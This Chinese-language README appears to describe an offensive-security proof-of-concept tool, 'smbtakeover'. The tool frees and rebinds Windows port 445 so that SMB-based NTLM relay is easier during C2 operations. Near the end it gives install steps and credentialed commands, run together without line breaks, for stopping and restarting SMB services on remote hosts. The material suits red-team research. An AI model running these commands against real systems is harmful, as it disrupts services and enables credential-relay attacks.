一种在 Windows 上解除绑定并重新绑定 445/tcp 的技术,无需加载驱动程序、无需向 LSASS 加载模块,也无需重启目标机器。实现该技术是为了减轻在 C2 操作过程中基于 SMB 的 NTLM 中继负担。该技术的技术分析在 x33fcon 上的演讲 Relay Your Heart Away: An OPSEC Concious Approach to 445 Takeover 中有更详细的讨论。
PoC 以 Python 和 BOF 两种格式编写。两者在针对远程机器时都使用基于 TCP 的 RPC(ncacn_ip_tcp)作为传输方式。
有关注意事项概览,请参阅相关博客文章的 操作用法 部分。要点包括:
srvnet 开始向后枚举服务依赖项,查看是否还有其他需要考虑的依赖项。ncacn_ip_tcp 还是 ncacn_np。如果使用后者(命名管道),则您将无法与目标进行远程通信以重新启用服务。创建一个 Python 虚拟环境,并执行 pip install 安装 impacket。
git clone https://github.com/zyn3rgy/smbtakeover.gitcd smbtakeoverpython3 -m virtualenv venvsource venv/bin/activatepython3 -m pip install impacketpython3 smbtakeover.py -hpython3 smbtakeover.py atlas.lab/josh:[email protected] checkpython3 smbtakeover.py atlas.lab/josh:[email protected] stoppython3 smbtakeover.py atlas.lab/josh:[email protected] startbof_smbtakeover localhost checkbof_smbtakeover 10.0.0.21 stopbof_smbtakeover localhost start